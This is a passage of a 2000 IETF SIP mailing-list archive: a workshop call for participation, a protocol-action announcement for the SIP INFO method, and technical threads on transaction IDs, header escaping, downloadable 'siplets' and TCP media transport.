-- Vijay K. Gurbani vkg@lucent.com vkg@research.bell-labs.com vkg@acm.org Internet Software Group/Intelligent Network and Instant Messaging Lucent Technologies/Bell Labs Innovations, 263 Shuman Blvd, Rm 1A-413 Naperville, Illinois 60566 Voice: +1 630 224 0216 Fax: +1 630 713 0184 _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 29 10:31:47 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA19355 for ; Tue, 29 Aug 2000 10:31:47 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 1F64544371; Tue, 29 Aug 2000 09:09:46 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from mail-green.research.att.com (H-135-207-30-103.research.att.com [135.207.30.103]) by lists.bell-labs.com (Postfix) with ESMTP id 3765E44339 for ; Mon, 28 Aug 2000 16:17:28 -0400 (EDT) Received: from postal.research.att.com (postal.research.att.com [135.207.23.30]) by mail-green.research.att.com (Postfix) with ESMTP id 1D3151E014 for ; Mon, 28 Aug 2000 13:45:32 -0400 (EDT) Received: from research.att.com ([135.210.111.244]) by postal.research.att.com (8.8.7/8.8.7) with ESMTP id NAA05240 for ; Mon, 28 Aug 2000 13:45:30 -0400 (EDT) Message-ID: <39AAA3D1.6B11B8C2@research.att.com> Date: Mon, 28 Aug 2000 13:39:29 -0400 From: "Gregory W. Bond" Organization: AT&T Labs - Research, Florham Park, NJ X-Mailer: Mozilla 4.72 [en] (Win98; I) X-Accept-Language: en MIME-Version: 1.0 To: sip@lists.bell-labs.com Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [SIP] IP Telecom Services Workshop 2000: Final Call for Participation Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit [Please accept our apologies for multiple copies of this call.] ------------- FINAL CALL FOR PARTICIPATION --------------- IP TELECOM SERVICES WORKSHOP 2000 (IPTS 2000) co-located with Fall 2000 Voice on the Net (VON) organized by AT&T Labs Research pulver.com Cobb Galleria, Atlanta, Georgia, U.S.A September 11, 2000 http://www.research.att.com/conf/ipts2000/ ----------------------------------------------------------- IPTS 2000 is a new workshop dedicated to the important, emerging field of IP Telecom Services research. In contrast to the services available on the PSTN, a new world of telecom services is possible on an IP-based infrastructure. This world presents new challenges for service development, deployment and management. This one-day workshop will serve as a forum for the dissemination of research relating to these challenges. We have put together an excellent technical program that includes 7 original research papers, two distinguished invited speakers, and a round table discussion. We look forward to the participation from you and your colleagues in the telecom industry and the research community. Registration is now open at http://pulver.com/ipts2000/register.html. TECHNICAL PROGRAM Keynote Speaker - Eric Sumner President and CEO of dynamicsoft "The End of Telephony" Invited Speaker - Joe Rinde AT&T Labs "Why Service? What Services?" DFC as the basis for ECLIPSE, an IP communications software platform Greg Bond, Eric Cheung, Andrew Forrest, Michael Jackson, Hal Purdy, Chris Ramming, and Pamela Zave AT&T Labs Research Experimenting with PARLAY in a SIP Environment: Early Results Stephane Desrochers, Roch H. Glitho, Kindy Sylla Ericsson Research Canada Approach For Services in Converged Networks Sanjiv Kapur, Rakesh Vij Hughes Software Systems Unified Messaging using SIP and RTSP Kundan Singh and Henning Schulzrinne Columbia University SPHINX: A Study in Convergent Telephony and Advanced Scenarios for H.323-SIP Interoperation Kumar V. Vemuri Lucent Technologies Where Should Services Reside in Internet Telephony Systems? Xiaotao Wu and Henning Schulzrinne Columbia University A Transformation Approach for Service Creation in a Hybrid IP-IN Network Cyril Carrez, Elie Najm, Alexandre Tauveron Ecole Nationale Superieure des Telecom Roundtable Discussion - topic to be announced REGISTRATION IPTS 2000 will be held on September 11, 2000 in Atlanta, Georgia. The workshop will be co-located with Fall 2000 Voice on the Net (VON). Registration details for IPTS 2000 can be found at http://www.research.att.com/conf/ipts2000. Hotel information can be found at http://www.pulver.com/von/hotel.html. Registration for IPTS 2000 does not include registration for Fall 2000 VON. Registration details for Fall 2000 VON can be found at http://pulver.com/von. IPTS 2000 is organized by AT&T Labs Research (http://www.research.att.com) and pulver.com (http://pulver.com). WORKSHOP CO-CHAIRS Greg Bond, AT&T Labs Research Eric Cheung, AT&T Labs Research PROGRAM COMMITTEE Mauricio Arango, Sun Microsystems Labs Joanne Atlee, University of Waterloo Ralph Blumenthal, Daewoo Telecom Scott Hoffpauir, BroadSoft Evan Magill, University of Strathclyde Peter Mataga, dynamicsoft Bernie Pagurek, Carleton University Jonathan Rosenberg, dynamicsoft Henning Schulzrinne, Columbia University Greg Utas, Nortel Networks Pamela Zave, AT&T Labs Research FURTHER GENERAL INFORMATION http://www.research.att.com/conf/ipts2000 _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 29 10:35:45 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA19501 for ; Tue, 29 Aug 2000 10:35:45 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 7630E44379; Tue, 29 Aug 2000 09:10:16 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from ubiquity.net (mail.ubiquity.net [194.128.96.72]) by lists.bell-labs.com (Postfix) with ESMTP id EE1DF44376 for ; Tue, 29 Aug 2000 09:10:11 -0400 (EDT) Received: from jhornsby by ubiquity.net with SMTP (8.8.8+Sun/25-eef) id PAA15786; Tue, 29 Aug 2000 15:08:18 +0100 (BST) From: "Jo Hornsby" To: "Jonathan Rosenberg" Cc: "Loita Jahnsson" , Subject: RE: [SIP] transaction identification Date: Tue, 29 Aug 2000 15:08:18 +0100 Message-ID: <002e01c011c2$94a85000$4e34c3c1@ubiquity.co.uk> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2377.0 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 In-Reply-To: <39ABC1B1.97E6B931@dynamicsoft.com> Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit > An interesting wrinkle I just thought of - stateless proxies. They need > to be sure that the branch-ID they insert is unique, but also the same > for retransmitted requests within the same transaction. I suppose this > can be done by having them compute the branch ID param as a hash of the > To, From, Call-ID, CSeq, R-URI and top Via of the incoming request, > along with the process-ID, IP address or some other invariant unique to > each proxy instance. This should probably also be noted in the spec. Cool. Can we now remove the "A server that is capable of hiding Via headers MUST attempt to decrypt all Via headers marked as "hidden" to perform loop detection. Servers that are not capable of hiding can ignore hidden Via fields in their loop detection algorithm." paragraph (Section 6.25 of bis01), then, since this is now unnecessary to detect loops? - Jo. _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 29 10:51:07 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA20240 for ; Tue, 29 Aug 2000 10:51:07 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 92BF344358; Tue, 29 Aug 2000 09:50:45 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from bfgbhome.inetint.com (tnt-dal-42-220.dallas.net [209.44.42.220]) by lists.bell-labs.com (Postfix) with ESMTP id 7931D44336 for ; Tue, 29 Aug 2000 09:50:40 -0400 (EDT) Received: (from bfb@localhost) by bfgbhome.inetint.com (8.9.3/8.9.3) id JAA12929; Tue, 29 Aug 2000 09:50:09 -0500 Date: Tue, 29 Aug 2000 09:50:09 -0500 From: "Brian F. G. Bidulock" To: Gethin Liddell Cc: Henning Schulzrinne , sip@lists.bell-labs.com Subject: Re: [SIP] white space and SIP Message-ID: <20000829095009.A12739@inet.com> Reply-To: brian.bidulock@inet.com Mail-Followup-To: Gethin Liddell , Henning Schulzrinne , sip@lists.bell-labs.com References: <399D4CAC.6A3BAAD@dynamicsoft.com> <39A1971C.EBE960FB@cs.columbia.edu> <20000827180810.A12741@dallas.net> <00082910375901.06568@gethin> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit User-Agent: Mutt/1.2i In-Reply-To: <00082910375901.06568@gethin>; from gethin@ubiquity.net on Tue, Aug 29, 2000 at 10:14:51AM +0100 Organization: Inet Technologies, Inc. Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 8bit Gethin, Just as long as it is understood that the backslash character cannot be used anywhere else in the start line or headers. Otherwise there is the parsing concern of having to recognize headers before understanding that CR or LF preceded by a BACKSLASH truely escapes the CR or LF. Consider the following to split headers: precondition: ^(([^\\]([\\].)*?)*?) match condition: (\n|\r\n?) postcondition: [^ \t] --Brian Gethin Liddell wrote: (10:14:51 +0100 Tue, 29 Aug 2000) > > The backslash character ("\") MAY be used as a single-character quoting > mechanism only within quoted-string and comment constructs. NOTE the > characters "\r" and "\n" cannot be escaped by this mechanism so as not > to conflict with line folding and header separation. > > quoted-pair = "\" (0x00 - 0x09 | 0x0b | 0x0c | 0x0e - 0x7f) > -- Brian F. G. Bidulock ¦ The reasonable man adapts himself to the ¦ brian.bidulock@inet.com ¦ world; the unreasonable one persists in ¦ ¦ trying to adapt the world to himself. ¦ ¦ Therefore all progress depends on the ¦ M.O.A.M.O.N.N.T.O.M.E. ¦ unreasonable man. -- George Bernard Shaw ¦ _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 29 11:03:09 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA20811 for ; Tue, 29 Aug 2000 11:03:09 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 5CEB74437F; Tue, 29 Aug 2000 10:01:12 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from ietf.org (odin.ietf.org [132.151.1.176]) by lists.bell-labs.com (Postfix) with ESMTP id 74B2344376 for ; Tue, 29 Aug 2000 09:11:26 -0400 (EDT) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA18586; Tue, 29 Aug 2000 10:11:20 -0400 (EDT) Message-Id: <200008291411.KAA18586@ietf.org> To: IETF-Announce: ; Cc: RFC Editor , IANA Cc: Internet Architecture Board Cc: sip@lists.bell-labs.com From: The IESG Date: Tue, 29 Aug 2000 10:11:20 -0400 Subject: [SIP] Protocol Action: The SIP INFO Method to Proposed Standard Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com The IESG has approved the Internet-Draft 'The SIP INFO Method' as a Proposed Standard. This document is the product of the Session Initiation Protocol Working Group. The IESG contact persons are Scott Bradner and Allison Mankin. Technical Summary This document adds an extension to SIP by which SIP messages can carry application-specific information along the SIP processing path. The messages are treated as opaque and they do not alter the state of a SIP session. The document offers examples and guidelines for how the extension might be used. Working Group Summary There is strong working group consensus to adopt the INFO method as a SIP component, and good consensus to do so as an extension to SIP rather than including INFO in the base SIP spec at this time. Protocol Quality Vern Paxson reviewed the spec for the IESG. _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 29 11:14:20 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA21385 for ; Tue, 29 Aug 2000 11:14:20 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id F2C094435C; Tue, 29 Aug 2000 10:13:52 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from qhars002.nortel.com (qhars002.NortelNetworks.com [192.100.101.19]) by lists.bell-labs.com (Postfix) with ESMTP id 8A4CD4435A for ; Tue, 29 Aug 2000 10:13:49 -0400 (EDT) Received: from zhard00m.europe.nortel.com (actually zhard00m) by qhars002.nortel.com; Tue, 29 Aug 2000 16:13:08 +0100 Received: by zhard00m.europe.nortel.com with Internet Mail Service (5.5.2652.35) id ; Tue, 29 Aug 2000 16:13:06 +0100 Message-ID: <61ABD11436FED21192440000F81F3E3602BE6947@nwcwi1a.europe.nortel.com> From: "Michael O'Doherty" To: "'farhan'" , sip Subject: RE: [SIP] syntax & edges vs. centers Date: Tue, 29 Aug 2000 16:13:03 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2652.35) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C011CB.A047FEC0" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C011CB.A047FEC0 Content-Type: text/plain; charset="iso-8859-1" Farhan, I think that much of the type of functionality you are suggesting for 'siplets' might actually be provided by the SIP Servlet API: http://www-uk.hpl.hp.com/people/ak/sip/servlet/ Although the name might suggest that these apply only to SIP Servers, in fact they are applicable to any SIP client and so can be used to install and upgrade SIP clients in terminals just as you have mentioned. See : http://search.ietf.org/internet-drafts/draft-odoherty-sip-servlet-delivery-0 0.txt Cheers, Mick. -----Original Message----- From: farhan [mailto:farhan@hotfoon.com] Sent: 29 August 2000 14:42 To: sip Subject: [SIP] syntax & edges vs. centers i have lost an earlier draft of my posting. maybe it never got posted. anyway, here it goes again: dr. rosenberg wrote - >The parallel in SIP is obvious; method is a method in the programming >sense of the word - it defines a very concrete operation to be performed >on the server (not the stack); all the data in the message merely >qualifies that operation, it does not define it. this is absolutely the way to go. one method ought to do just one thing completely. i am completely convinced that each method ought to do just one thing. we cannot have another ioctl() horror on the sip stack. > INVITE has a well-defined semantic, as do ACK and >CANCEL. Everything else (in terms of proxy processing) is the same as >OPTIONS. That includes BYE, SUBSCRIBE, NOTIFY, etc. If SUBSCRIBE, NOTIFY, MESSAGE, BYE are all the same, evidently their interpretation is completely between the user agents themselves. In that sense they are a recommendation of how SIP can be applied to add more functionality. Much like SIP is encapsulated in UDP, we are encapsulating more methods within the SIP architecture. To that extent, the interpretation of SUBSCRIBE, NOTIFY, MESSAGE, etc. is the problem of the recepient of the requests. >I don't see why upgrading an ip >phone is different than a browser. Probably easier since the IP phone is >way thinner than a browser. one simple way to upgrade an ip phone is by rom replacement. online upgrading has its own interesting possiblities. someone with a rogue bluetooth on his palm can just walk around an office and download a trick stack into all the ipphones (maybe this is just science fiction). But the very interesting possiblities that it _does_ open up is that if we can incorporate downloading of 'siplets' to SIP devices that run like applets in secure sandboxes, we can come up with some pretty interesting applications. i imagine that such ip phones will also need a mechanism to download and invoke method handlers. possibly a siplet specification in the body of the r equest? if so, do we give provisional responses until the download is complete ? what are the security managment issues involved with siplets? this is an exciting possiblity. shall we try implementing something like on a desktop UA that can download the request handlers. the other approach will be to dish out everything from some sort of a telephony application server that manages a number of sip phones (a proxy). the added services are all build on the proxy server side. this keeps the UAs themselves fixed and small. this is an approach that we took when we designed hotfoon.com. hotfoon.com - dumb VoiP terminals hotfoon.com used a very simplistic protocol that transfered what ever a user type to the server (raw) and whatever the server dished out directly to a display window on the UA. Apart from the text messaging, just a single call-setup/cleardown message pair was used to implement the session initiation protocol. All the logic, including the call state was maintained on the server side. the huge advantage was that it required virtually no upgrades at all (the client is just a 48kb download including gsm codec). we added features as the users demanded them. Someone asked for queues and we implemented them, some asked for chat, we gave it to them. The idea was that a simple VoiP client could be scaled up with innumerable features without having to upgrade the clients themselves. Like all simplistic implementations, it suffered on account of scalability (the servers were stateful and had to deal with a lot of concurrency issues). Nevertheless, it still does handle hundreds of active users. The idea explored in hotfoon.com was to implement dumb voip terminals, wherein the intelligence was centralised (as different from sip where the intelligence is towards the edge) in moderately powered telephony application servers. it is still an interesting thing to toy around with. - farhan _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip ------_=_NextPart_001_01C011CB.A047FEC0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable RE: [SIP] syntax & edges vs. centers

Farhan,

I think that much of the type of functionality you = are suggesting for 'siplets' might actually be provided by the SIP = Servlet API:

http://www-uk.hpl.hp.com/people/ak/sip/servlet/

Although the name might suggest that these apply only = to SIP Servers, in fact they are applicable to any SIP client and so = can be used to install and upgrade SIP clients in terminals just as you = have mentioned.  See :

http://search.ietf.org/internet-drafts/draft-odoherty-= sip-servlet-delivery-00.txt

Cheers,

Mick.


-----Original Message-----
From: farhan [mailto:farhan@hotfoon.com]=
Sent: 29 August 2000 14:42
To: sip
Subject: [SIP] syntax & edges vs. centers


i have lost an earlier draft of my posting. maybe it = never got posted.
anyway, here it goes again:

dr. rosenberg wrote -

>The parallel in SIP is obvious; method is a = method in the programming
>sense of the word - it defines a very concrete = operation to be performed
>on the server (not the stack); all the data in = the message merely
>qualifies that operation, it does not define = it.

this is absolutely the way to go. one method ought to = do just one thing
completely. i am completely convinced that each = method ought to do just one
thing. we cannot have another ioctl() horror on the = sip stack.

> INVITE has a well-defined semantic, as do ACK = and
>CANCEL. Everything else (in terms of proxy = processing) is the same as
>OPTIONS. That includes BYE, SUBSCRIBE, NOTIFY, = etc.

If SUBSCRIBE, NOTIFY, MESSAGE, BYE are all the same, = evidently their
interpretation is completely between the user agents = themselves. In that
sense they are a recommendation of how SIP can be = applied to add more
functionality. Much like SIP is encapsulated in UDP, = we are encapsulating
more methods within the SIP architecture. To that = extent, the interpretation
of SUBSCRIBE, NOTIFY, MESSAGE, etc. is  the = problem of the recepient of the
requests.

>I don't see why upgrading an ip
>phone is different than a browser. Probably = easier since the IP phone is
>way thinner than a browser.

one simple way to upgrade an ip phone is by rom = replacement. online
upgrading has its own interesting possiblities. = someone with a rogue
bluetooth on his palm can just walk around an office = and download a trick
stack into all the ipphones (maybe this is just = science fiction). But the
very interesting possiblities that it _does_ open up = is that if we can
incorporate downloading of  'siplets' to SIP = devices that run like applets
in secure sandboxes, we can come up with some pretty = interesting
applications.

i imagine that such ip phones will also need a = mechanism to download and
invoke method handlers. possibly a siplet = specification in the body of the r
equest? if so, do we give provisional responses = until the download is
complete ? what are the security managment issues = involved with siplets?
this is an exciting possiblity. shall we try = implementing something like on
a desktop UA that can download the request = handlers.

the other approach will be to dish out everything = from some sort of a
telephony application server that manages a number = of sip phones (a proxy).
the added services are all build on the proxy server = side. this keeps the
UAs themselves fixed and small. this is an approach = that we took when we
designed hotfoon.com.

hotfoon.com - dumb VoiP terminals

hotfoon.com used a very simplistic protocol that = transfered what ever a user
type to the server (raw) and whatever the server = dished out directly to a
display window on the UA. Apart from the text = messaging, just a single
call-setup/cleardown message pair was used to = implement the session
initiation protocol. All the logic, including the = call state was maintained
on the server side. the huge advantage was that it = required virtually no
upgrades at all (the client is just a 48kb download = including gsm codec). we
added features as the users demanded them. Someone = asked for queues and we
implemented them, some asked for chat, we gave it to = them. The idea was that
a simple VoiP client could be scaled up with = innumerable features without
having to upgrade the clients themselves. Like all = simplistic
implementations, it suffered on account of = scalability (the servers were
stateful and had to deal with a lot  of = concurrency issues). Nevertheless,
it still does handle hundreds of active = users.

The idea explored in hotfoon.com was to implement = dumb voip terminals,
wherein the intelligence was centralised (as = different from sip where the
intelligence is towards the edge) in moderately = powered telephony
application servers. it is still an interesting = thing to toy around with.

- farhan







_______________________________________________
SIP mailing list
SIP@lists.bell-labs.com
http://lists.bell-labs.com/mailman/listinfo/sip

------_=_NextPart_001_01C011CB.A047FEC0-- _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 29 11:31:09 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA22155 for ; Tue, 29 Aug 2000 11:31:09 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 9CCAC44353; Tue, 29 Aug 2000 10:30:49 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from ubiquity.net (mail.ubiquity.net [194.128.96.72]) by lists.bell-labs.com (Postfix) with ESMTP id 468E044336 for ; Tue, 29 Aug 2000 10:30:31 -0400 (EDT) Received: from gethin by ubiquity.net with SMTP (8.8.8+Sun/25-eef) id QAA21921; Tue, 29 Aug 2000 16:28:05 +0100 (BST) From: Gethin Liddell Organization: Ubiquity Software Corp. To: "Brian F. G. Bidulock" Subject: Re: [SIP] white space and SIP Date: Tue, 29 Aug 2000 16:12:49 +0100 X-Mailer: KMail [version 1.0.29.2] Content-Type: text/plain Cc: sip@lists.bell-labs.com References: <399D4CAC.6A3BAAD@dynamicsoft.com> <00082910375901.06568@gethin> <20000829095009.A12739@inet.com> In-Reply-To: <20000829095009.A12739@inet.com> MIME-Version: 1.0 Message-Id: <00082916230402.06912@gethin> Content-Transfer-Encoding: 8bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 8bit Brian I'm sorry, i think you've misunderstood me. what i'm saying is that BACKSLASH never escapes CR or LF. where ever CR or LF appear, they MUST be taken as header separators or line folding. nothing more, nothing less. they CANNOT be escaped. so BACKSLASH can appear pretty much in any header (where allowed by the bnf of course ;) ) thus CR & LF have been removed from the quoted-pair syntax below because they cannot be escaped. do you agree? On Tue, 29 Aug 2000, Brian F. G. Bidulock wrote: > Gethin, > > Just as long as it is understood that the backslash character > cannot be used anywhere else in the start line or headers. > Otherwise there is the parsing concern of having to recognize > headers before understanding that CR or LF preceded by a > BACKSLASH truely escapes the CR or LF. > > Consider the following to split headers: > > precondition: ^(([^\\]([\\].)*?)*?) > match condition: (\n|\r\n?) > postcondition: [^ \t] > > --Brian > > Gethin Liddell wrote: (10:14:51 +0100 Tue, 29 Aug 2000) > > > > The backslash character ("\") MAY be used as a single-character quoting > > mechanism only within quoted-string and comment constructs. NOTE the > > characters "\r" and "\n" cannot be escaped by this mechanism so as not > > to conflict with line folding and header separation. > > > > quoted-pair = "\" (0x00 - 0x09 | 0x0b | 0x0c | 0x0e - 0x7f) > > > > -- > Brian F. G. Bidulock ¦ The reasonable man adapts himself to the ¦ > brian.bidulock@inet.com ¦ world; the unreasonable one persists in ¦ > ¦ trying to adapt the world to himself. ¦ > ¦ Therefore all progress depends on the ¦ > M.O.A.M.O.N.N.T.O.M.E. ¦ unreasonable man. -- George Bernard Shaw ¦ > > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip -- Gethin Liddell Ubiquity Software Corporation http://www.ubiquity.net mailto:gethin@ubiquity.net _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 29 11:52:08 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA23239 for ; Tue, 29 Aug 2000 11:52:07 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id CF14B44361; Tue, 29 Aug 2000 10:51:11 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from polaris.shore.net (polaris.shore.net [207.244.124.105]) by lists.bell-labs.com (Postfix) with ESMTP id 3EA9044343 for ; Tue, 29 Aug 2000 10:51:08 -0400 (EDT) Received: from (hither.rfdsoftware.com) [209.192.222.62] by polaris.shore.net with esmtp (Exim) for sip@lists.bell-labs.com id 13TnfG-0003X2-00; Tue, 29 Aug 2000 11:51:06 -0400 Received: from cx991414-a.dialout.net ([24.180.58.118]) by hither.rfdsoftware.com (8.9.2/8.9.2) with ESMTP id LAA20049 for ; Tue, 29 Aug 2000 11:44:16 -0400 (EDT) Message-Id: <4.3.2.7.2.20000829114859.00dd4100@webhost.tactical-sw.com> X-Sender: dnyon@webhost.tactical-sw.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Tue, 29 Aug 2000 11:52:48 -0400 To: sip@lists.bell-labs.com From: David Yon Subject: Re: [SIP] SIP, SDP, and TCP-based media transport In-Reply-To: <4.3.2.7.2.20000818133034.00d6b100@webhost.tactical-sw.com> References: <399D5035.62C6BEBD@dynamicsoft.com> <4.3.2.7.2.20000816091147.00d0b7a0@webhost.tactical-sw.com> <4.3.2.7.2.20000817101152.00d6ce70@webhost.tactical-sw.com> <4.3.2.7.2.20000818083432.00d7d1f0@webhost.tactical-sw.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Ok, I've got an I-D available, any and all comments welcome: ftp://ftp.dialout.net/drafts/draft-ietf-sip-sdp-tcpmedia-00.txt I'm an admitted newbie to the whole I-D process, but based on my readings at www.ietf.org this needs to be submitted under the auspices of the SIP WG. Can I just mail it to the internet-drafts@ietf.org address or are there other considerations to be dealt with first? At 01:32 PM 8/18/00 -0400, David Yon wrote: >At 11:03 AM 8/18/00 -0400, Jonathan Rosenberg wrote: > >>OK? If so, lets declare this done, get an I-D written, and move forward >>here. > >Yes, fine by me. I'll assume since nobody else stepped up to the plate >that I've got the token on the I-D. David Yon Chief Technical Officer Dialout.Net, Inc. yon@dialout.net _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 29 11:53:50 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA23282 for ; Tue, 29 Aug 2000 11:53:50 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 098624436A; Tue, 29 Aug 2000 10:51:52 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from bfgbhome.inetint.com (tnt-dal-42-220.dallas.net [209.44.42.220]) by lists.bell-labs.com (Postfix) with ESMTP id 1529344343 for ; Tue, 29 Aug 2000 10:51:46 -0400 (EDT) Received: (from bfb@localhost) by bfgbhome.inetint.com (8.9.3/8.9.3) id KAA13886; Tue, 29 Aug 2000 10:51:39 -0500 Date: Tue, 29 Aug 2000 10:51:39 -0500 From: "Brian F. G. Bidulock" To: Gethin Liddell Cc: sip@lists.bell-labs.com Subject: Re: [SIP] white space and SIP Message-ID: <20000829105139.D12739@inet.com> Reply-To: brian.bidulock@inet.com Mail-Followup-To: Gethin Liddell , sip@lists.bell-labs.com References: <399D4CAC.6A3BAAD@dynamicsoft.com> <00082910375901.06568@gethin> <20000829095009.A12739@inet.com> <00082916230402.06912@gethin> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <00082916230402.06912@gethin>; from gethin@ubiquity.net on Tue, Aug 29, 2000 at 04:12:49PM +0100 Organization: Inet Technologies, Inc. Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Gethin, Gethin Liddell wrote: (16:12:49 +0100 Tue, 29 Aug 2000) > > > > > > quoted-pair = "\" (0x00 - 0x09 | 0x0b | 0x0c | 0x0e - 0x7f) > > > Pardon me, I'm not reading well today... So, what you are saying is that I could simplify my splitting to: > > match condition: (\n|\r\n?) > > postcondition: [^ \t] Well that has some (extremely) minor advantages: It removes 5 lines of assembler from my splitter ;) But tell me: what is the use of backslashing other control characters other than 0x08? Particularly when backslashing those are optional? (Only ,;"() really need be backslashed and only " must be within quoted text and ) within a comment. What's the point of having control characters at all? > > > quoted-pair = "\" (0x00 - 0x09 | 0x0b | 0x0c | 0x0e - 0x7f) -- Brian F. G. Bidulock brian.bidulock@inet.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 29 12:31:24 2000 Received: from 